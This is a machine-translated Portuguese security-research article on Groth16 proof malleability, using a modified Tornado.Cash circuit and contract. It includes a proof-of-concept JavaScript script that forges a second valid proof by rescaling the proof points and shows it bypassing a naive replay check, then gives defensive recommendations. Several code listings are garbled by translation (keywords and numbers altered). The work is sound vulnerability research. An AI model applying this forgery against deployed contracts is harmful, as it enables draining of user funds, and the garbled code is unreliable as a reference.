Um mergulho profundo no Tornado.Cash revela ataques de maleabilidade de projetos zkp

金色财经_

No artigo anterior, explicamos as brechas de maleabilidade no próprio sistema de prova Groth16 do ponto de vista do princípio. Neste artigo, tomaremos o projeto Tornado.Cash como exemplo, modificaremos alguns de seus circuitos e códigos, introduziremos o ataque de maleabilidade processo e espero que outras partes do projeto zkp também prestem atenção às medidas preventivas correspondentes no projeto. Entre eles, o Tornado.Cash usa a biblioteca snarkjs para desenvolvimento, que também é baseada no seguinte processo de desenvolvimento, e será apresentado diretamente mais tarde.Se você não estiver familiarizado com a biblioteca, leia o primeiro artigo desta série. (Beosin | Análise aprofundada da vulnerabilidade zk-SNARK à prova de conhecimento zero: por que o sistema de prova de conhecimento zero não é infalível?)! [346a815b39293aee95668fb9b2049873] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-96823e64cc-dd1a6f-1c6801 “7076908”)

(Fonte:

1 Arquitetura Tornado.Cash

O processo de interação do Tornado.Cash inclui principalmente 4 entidades: * Usuário: Use este DApp para realizar transações de privacidade com o misturador, incluindo depósitos e retiradas.

  • Página da Web: A página da Web front-end do DApp, que contém alguns botões do usuário.
  • Relayer: Para evitar que os nós da cadeia registrem informações como o endereço IP que iniciou a transação privada, o servidor reproduzirá a transação em vez do usuário, aumentando ainda mais a privacidade.
  • Contrato: Contém um contrato de proxy Tornado.Cash Proxy, que selecionará o pool Tornado especificado para operações subsequentes de depósito e retirada de acordo com a quantidade de depósitos e retiradas do usuário. Existem atualmente 4 pools com valores de 0,1, 1, 10 e 100.

O usuário primeiro executa as operações correspondentes na página web front-end do Tornado.Cash para acionar uma transação de depósito ou saque e, em seguida, o retransmissor encaminha a solicitação de transação para o contrato Tornado.Cash Proxy na cadeia e o encaminha para o correspondente Pool de acordo com o valor da transação e, finalmente, Para processar depósitos e saques, a estrutura específica é a seguinte: ! [f471dfca152796f84a6389ff3a6d96ac] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-fa8e75c3b3-dd1a6f-1c6801 “7076909”) Como misturador de moedas, Tornado.Cash tem duas funções comerciais específicas: * depósito : quando um usuário realiza uma transação de depósito, primeiro selecione o token depositado (BNB, ETH, etc.) e o valor correspondente na página de front-end da Web. Para melhor garantir a privacidade do usuário, apenas quatro valores podem ser depositados;

! [fc9fe4cf9b1b8528e2446d23f39afc9a] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-22994b5b68-dd1a6f-1c6801 “7076910”)

Fonte: <

Em seguida, o servidor gerará dois números aleatórios de 31 bytes, anulador e segredo, e depois de uni-los, executará a operação pedersenHash para obter o compromisso e retornará o anulador+segredo mais o prefixo como uma nota para o usuário. A nota é a seguinte : ! [83feeca678c53c26a5cfe70f55d29f10] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-64aba8733a-dd1a6f-1c6801 “7076911”)* Em seguida, uma transação de depósito é iniciada para enviar o compromisso e outros dados para o Tornado.Cash Proxy contrato na cadeia, o contrato proxy encaminha os dados para o Pool correspondente de acordo com o valor do depósito e, finalmente, o contrato Pool insere o compromisso como um nó folha na árvore merkle e armazena a raiz calculada no contrato Pool.

  • retirada: Quando o usuário faz uma transação de saque, primeiro insira os dados da nota e o endereço de recebimento retornado quando o depósito é inserido na página da web de front-end;

! [49898b341e39bdbebd651b5d3918faef] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-54deb436c4-dd1a6f-1c6801 “7076912”)

Fonte da imagem: <* Em seguida, o servidor recuperará todos os eventos de depósito do Tornadocash sob a cadeia, extrairá os compromissos para construir a árvore Merkle sob a cadeia e gerará o compromisso e o Merkle correspondente de acordo com os dados da nota (nullifier+secret) fornecidos pelo caminho do usuário e a raiz correspondente são usadas como entrada de circuito para obter uma prova SNARK de conhecimento zero; finalmente, uma transação de retirada é iniciada para o contrato Tornado.Cash Proxy na cadeia e, em seguida, salta para o contrato Pool correspondente para verificar o comprovante de acordo com os parâmetros, e o Dinheiro é creditado no endereço do destinatário especificado pelo usuário.

Entre eles, o núcleo de retirada do Tornado.Cash é, na verdade, provar que existe um certo compromisso na árvore Merkle sem expor o anulador e o segredo mantido pelo usuário. A estrutura específica da árvore Merkle é a seguinte: ! [a56d827c9d275989d6948e23280123ce] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-2215203ef5-dd1a6f-1c6801 “7076913”)## 2 versão modificada do Tornado.Cash magic

2.1 Tornado.Cash magic change

Para o princípio do ataque de ductilidade Groth16 do primeiro artigo, sabemos que o invasor pode realmente gerar várias provas diferentes usando o mesmo anulador e segredo. Se o desenvolvedor não considerar o ataque de gasto duplo causado pelo replay da prova, ele ameaçará o financiamento do projeto . **Antes da modificação mágica do Tornado.Cash, este artigo primeiro introduz o código no Pool onde o Tornado.Cash finalmente lida com a retirada:

/** @dev Retirar um depósito do contrato. a prova é um dado de prova do zkSNARK e a entrada é uma matriz de entradas públicas do circuito a matriz de entrada consiste em: - merkle root de todos os depósitos no contrato - hash do anulador de depósito exclusivo para evitar gastos duplos - o destinatário dos fundos - taxa opcional que vai para o remetente da transação (geralmente um retransmissor) */ função retirar( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, endereço a pagar _recipient, endereço a pagar _relayer, uint256 _fee, uint256 _refund ) pagável externo nãoReentrante { require(_fee <= denominação, “A taxa excede o valor da transferência”); require(!nullifierHashes[_nullifierHash], “A nota já foi gasta”); require(isKnownRoot(_root), “Não foi possível encontrar sua raiz merkle”); // Certifique-se de usar um recente require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ) , “Comprovante de saque inválido” ); nullifierHashes[_nullifierHash] = verdadeiro; _processWithdraw(_recipient, _relayer, _fee, _refund); emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee); }

Na figura acima, para evitar que invasores usem a mesma Prova para realizar ataques de gasto duplo sem expor o anulador e o segredo, Tornado.Cash adiciona um sinal público nullifierHash ao circuito, que é obtido pelo hash de Pedersen do anulador e pode ser usado como parâmetro Passado para a cadeia, o contrato Pool então usa essa variável para identificar se uma prova correta foi usada. No entanto, se a parte do projeto não usar o método de modificação do circuito, mas registrar diretamente o método Proof para evitar gastos duplos, afinal, isso pode reduzir as restrições do circuito e economizar custos, mas será que consegue atingir o objetivo? Para esta conjectura, este artigo excluirá o sinal público nullifierHash recém-adicionado no circuito e alterará a verificação do contrato para verificação de prova. Como o Tornado.Cash obtém todos os eventos de depósito toda vez que faz uma retirada, constrói uma árvore merkle e verifica se o valor raiz gerado está dentro dos últimos 30, todo o processo é muito problemático, portanto, o circuito deste artigo também excluirá o circuito merkleTree , Apenas o circuito central da parte extraída é deixado, e o circuito específico é o seguinte:

include “…/…/…/…/node_modules/circomlib/circuits/bitify.circom”; include “…/…/…/…/node_modules/circomlib/circuits/pedersen.circom”;// calcula Pedersen(nullifier + secret)template CommitmentHasher() { nullifier de entrada de sinal; segredo de entrada de sinal; compromisso de saída de sinal; // sinal de saída nullifierHash; // exclui o componente commitHasher = Pedersen(496); // componente nullifierHasher = Pedersen(248); componente nullifierBits = Num2Bits(248); componente secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== segredo; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; // exclui commitHasher.in [i] <== nullifierBits.out [i] ; commitHasher.in[i + 248] <== secretBits.out [i] ; } compromisso <== compromissoHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ; // deletar}// Verifica se o compromisso que corresponde ao segredo e ao anulador fornecidos está incluído na árvore merkle de depósitos sinal de saída compromisso; receptor de entrada de sinal; // não participando de nenhum relé de entrada de sinal de computação; // não participar de nenhuma taxa de entrada de sinal de cálculos; // não participando de nenhum reembolso de entrada de sinal de cálculos; // não participando de nenhum nulificador de entrada de sinal de computação; segredo de entrada de sinal; componente hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== segredo; compromisso <== hasher.commitment; // Adicione sinais ocultos para garantir que adulterar o destinatário ou a taxa invalidará a prova de snark // Provavelmente não é necessário, mas é melhor ficar no lado seguro e leva apenas 2 restrições // Quadrados são usados para evitar otimizador de remover essas restrições sinalizar receiverSquare; taxa de sinal Quadrado; retransmissor de sinal Quadrado; quadrado de reembolso de sinal; receiverSquare <== destinatário * destinatário; taxaQuadrado <== taxa * taxa; relayerSquare <== retransmissor * retransmissor; refundSquare <== reembolso * reembolso;}componente principal = Retirada(20);

Observação: descobrimos durante o experimento que o TornadoCash está na versão mais recente do código no GitHub (o circuito de retirada não possui um sinal de saída e requer correção manual para funcionar corretamente. De acordo com o circuito modificado acima, use a biblioteca snarkjs, etc.

A prova: {pi_a: [12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304 052946457319632960669053932271922876268005970n, 1n], pi_b: [[4424670283556465622197187546754094667837383166479615474515182183 878046002081n, 80881045699274745555610665242983621221932062943927262293572649061565902268616n], 8096155965376840166464829609545491502209803154186n, 18373139073981696655136870665800393986130876498128887091087060068369811 557306n], [1n, 0n]], pi_c: [1626407734863381433630916916203225704171957179582436403191883565668143772631n, 103752049021254917 73178253544576299821079735144068419595539416984653646546215n, 1n ], protocolo: 'groth16 ', curva: ‘bn128’}

2.2 Verificação experimental

2.2.1 Comprovante de Verificação - o contrato padrão gerado pela circom

Em primeiro lugar, usamos o contrato padrão gerado pelo circom para verificação. Como o contrato não registra nenhuma informação relacionada ao Proof que tenha sido usada, o invasor pode repetir o proof1 várias vezes para causar um ataque de gasto duplo. Nos experimentos a seguir, a prova pode ser repetida infinitamente para a mesma entrada do mesmo circuito, e todas podem passar na verificação. ! [caaf8474774d0ffaaea894961231e604] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-36bda9ebd9-dd1a6f-1c6801 “7076914”) A imagem abaixo é uma captura de tela do experimento usando proof1 no contrato padrão para provar que a verificação passou, incluindo o artigo anterior Parâmetros de prova A, B e C usados em , e o resultado final:

! [8796de83786dab2e1d2fe8988a2a8c3c] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-1d87d37558-dd1a6f-1c6801 “7076915”)

A figura abaixo é o resultado do uso do mesmo proof1 para chamar a função VerifyProof várias vezes para verificação de prova. O experimento descobriu que para a mesma entrada, não importa quantas vezes o invasor use proof1 para verificar, ele pode passar: ! [058bfa45cfac5803990db4cb707c737b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-6f3b277d3a-dd1a6f-1c6801 “7076916”) Claro, estamos testando na biblioteca de código js nativa de snarkjs, e não testamos a Prova já utilizada que passou para proteção, os resultados experimentais são os seguintes: ## 2.2.2 Prova de Verificação - Contrato Anti-replay Ordinário

Para a vulnerabilidade de replay no contrato padrão gerado pela circom, este artigo registra um valor na Proof correta (proof1) que tem sido usado para evitar ataques de replay usando a prova verificada, conforme mostrado na figura a seguir: ! [9afeb481747b16752a00b70c5562bac2] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-384e9b2889-dd1a6f-1c6801 “7076917”) Continue a usar a prova1 para verificação. O experimento descobriu que, ao usar a mesma prova para verificação secundária, a transação foi revertida Erro: “A nota já foi gasta”, o resultado é o da figura abaixo: ! [40293d602538a60400dffa795e0454dd] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-d09fb1e9c2-dd1a6f-1c6801 “7076918”) Mas Embora o objetivo de impedir ataques de replay de prova comum tenha sido alcançado neste momento, o introdução anterior Há um problema de vulnerabilidade de ductilidade no algoritmo groth16, e essa medida preventiva ainda pode ser contornada. Então, construímos o PoC na figura abaixo e geramos um certificado zk-SNARK falso para a mesma entrada de acordo com o algoritmo do primeiro artigo. O experimento descobriu que ele ainda pode passar na verificação. O código PoC para gerar a prova forjada proof2 é o seguinte:

importar WasmCurve de "/Users/saya/node_modules/ffjava/src/wasm_curve.js"importar ZqField de "/Users/saya/node_modules/ffjava/src/f1field.js"importar groth16FullProve de "/Users /saya/node_modules/snarkjs/src/groth16_fullprove.js"importar groth16Verificar de “/Users/saya/node_modules/snarkjs/src/groth16_verify.js”;importar * como curvas de “/Usuários /saya/node_modules/snarkjs/src/curves.js”;importar fs de “fs”;importar { utils } de “ffjava”;const {unstringifyBigInts} = utils;groth16_exp();função assíncrona groth16_exp (){ deixe inputA = “7”; deixe entradaB = “11”; const SNARK_CAMPO_SIZE = BigInt(‘21888242871839275222246405745257275088548364400416034343698204186575808495617’); // 2. 读取string后转化为int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync(“proof.json”,“utf8”))); console.log(“A prova:”,prova); // 生成逆元,生成的逆元必须在F1域 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = Fe(“123456”) const invX = F.inv(X) console.log(“x:” ,X ) console.log(“invX” ,invX) console.log(“The timesScalar is:”, F.mul(X,invX)) // Controle de configuração G1, G2 const vKey = JSON.parse(fs.readFileSync(“verificação_key.json”,“utf8”)); // console.log(“A curva é:”,vKey); curva const = await curves.getCurveFromName(vKey.curve); const G1 = curva.G1; const G2 = curva.G2; const A = G1.fromObject(prova.pi_a); const B = G2.fromObject(prova.pi_b); const C = G1.fromObject(prova.pi_c); const novo_pi_a = G1.timesScalar(A, X); //A’=x*A const new_pi_b = G2.timesScalar(B, invX); //B’=x^{-1}*B proof.pi_a = G1.toObject(G1.toAffine(A)); proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a)) proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b)) // Mais informações Prova console.log(“prova.pi_a:”,prova.pi_a); console.log(“prova.new_pi_a:”,prova.new_pi_a) console.log(“prova.new_pi_b:”,prova.new_pi_b)}

A prova forjada proof2 gerada é mostrada na figura abaixo: Ao usar este parâmetro para chamar a função VerifyProof novamente para verificação de prova, o experimento constatou que a verificação proof2 passou novamente no caso da mesma entrada, conforme mostrado abaixo: ! [03d0f119ea666620685b4cece791a789] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-4c49de3755-dd1a6f-1c6801 “7076919”) Embora o proof2 forjado só possa ser usado mais uma vez, devido ao falsificado Há um número quase infinito de comprovantes, podendo fazer com que os recursos contratuais sejam sacados infinitamente. Este artigo também usa o código js da biblioteca circom para testar, e os resultados experimentais proof1 e fake proof2 podem passar na verificação: ! [9153431b50b81dcadbf68930ded584c3] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-934c4ab3e4-dd1a6f-1c6801 “7076920”)## 2.2.3 Prova de verificação — Contrato de replay Tornado.Cash

Depois de tantos fracassos, não há como fazer isso de uma vez por todas? Aqui, de acordo com a prática do Tornado.Cash de verificar se a entrada original foi usada, este artigo continua a modificar o código do contrato da seguinte forma: ! [28fabffcac9037a41e030db84f44f83b] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-dfa6f29d35-dd1a6f-1c6801 “7076921”) Ressalte-se que, para demonstrar as medidas simples para prevenir o ataque maleável do algoritmo groth16, *\ *Este artigo adota o método de gravação direta da entrada do circuito original, mas isso não está em conformidade com o princípio de privacidade da prova de conhecimento zero, e a entrada do circuito deve ser mantida em sigilo. **Por exemplo, a entrada em Tornado.Cash é toda privada e uma nova entrada pública precisa ser adicionada para identificar uma prova. Neste paper, como não há um novo logotipo no circuito, a privacidade é relativamente baixa em comparação com o Tornado.Cash. Ele é usado apenas como uma demonstração experimental para mostrar os resultados a seguir: ! [ac4624fc066156979fae817e327c6224] (https://img-cdn.gateio.im/resized-social/moments-40baef27dd-440d87e977-dd1a6f-1c6801 “7076922”) Pode-se descobrir que a prova usando a mesma entrada na figura acima só pode passar proof1 para na primeira vez, nem a prova1 nem a prova2 forjada podem passar na verificação. ## 3 Resumo e recomendações

Este artigo verifica principalmente a autenticidade e os danos da vulnerabilidade do replay modificando o circuito do TornadoCash e usando o contrato padrão gerado pelo Circom, que é comumente usado pelos desenvolvedores, e verifica ainda que medidas comuns usadas no nível do contrato podem proteger contra o replay vulnerabilidade, mas não pode evitá-lo. Ataque de maleabilidade do Groth16, a este respeito, recomendamos que os projetos de prova de conhecimento zero devem prestar atenção ao seguinte durante o desenvolvimento do projeto: * Ao contrário dos DApps tradicionais que usam dados exclusivos, como endereços para gerar dados de nó, zkp os projetos geralmente usam uma combinação de números aleatórios Para gerar nós da árvore Merkle, você precisa prestar atenção se a lógica de negócios permite inserir nós com o mesmo valor. **Porque os mesmos dados do nó folha podem fazer com que alguns fundos do usuário sejam bloqueados no contrato, ou há várias Provas Merkle nos mesmos dados do nó folha que confundem a lógica de negócios. **

  • A parte do projeto zkp geralmente usa mapeamento para registrar a prova usada para evitar ataques de gasto duplo. **Deve-se observar que ao desenvolver com Groth16, devido à existência de ataques de ductilidade, devem ser utilizados para o registro os dados originais do nó, ao invés de apenas a identificação dos dados relacionados à Prova. ** *Circuitos complexos podem ter problemas como incerteza do circuito e sub-restrições, as condições de verificação do contrato estão incompletas e há brechas na lógica de implementação. **Recomendamos enfaticamente que a parte do projeto busque alguma pesquisa sobre circuitos e contratos quando o projeto for As empresas de auditoria de segurança realizam auditorias abrangentes para garantir a segurança do projeto tanto quanto possível. **
Ver original
Isenção de responsabilidade: As informações contidas nesta página podem ser provenientes de terceiros e não representam os pontos de vista ou opiniões da Gate. O conteúdo apresentado nesta página é apenas para referência e não constitui qualquer aconselhamento financeiro, de investimento ou jurídico. A Gate não garante a exatidão ou o carácter exaustivo das informações e não poderá ser responsabilizada por quaisquer perdas resultantes da utilização destas informações. Os investimentos em ativos virtuais implicam riscos elevados e estão sujeitos a uma volatilidade de preços significativa. Pode perder todo o seu capital investido. Compreenda plenamente os riscos relevantes e tome decisões prudentes com base na sua própria situação financeira e tolerância ao risco. Para mais informações, consulte a Isenção de responsabilidade.
Comentar
0/400
Nenhum comentário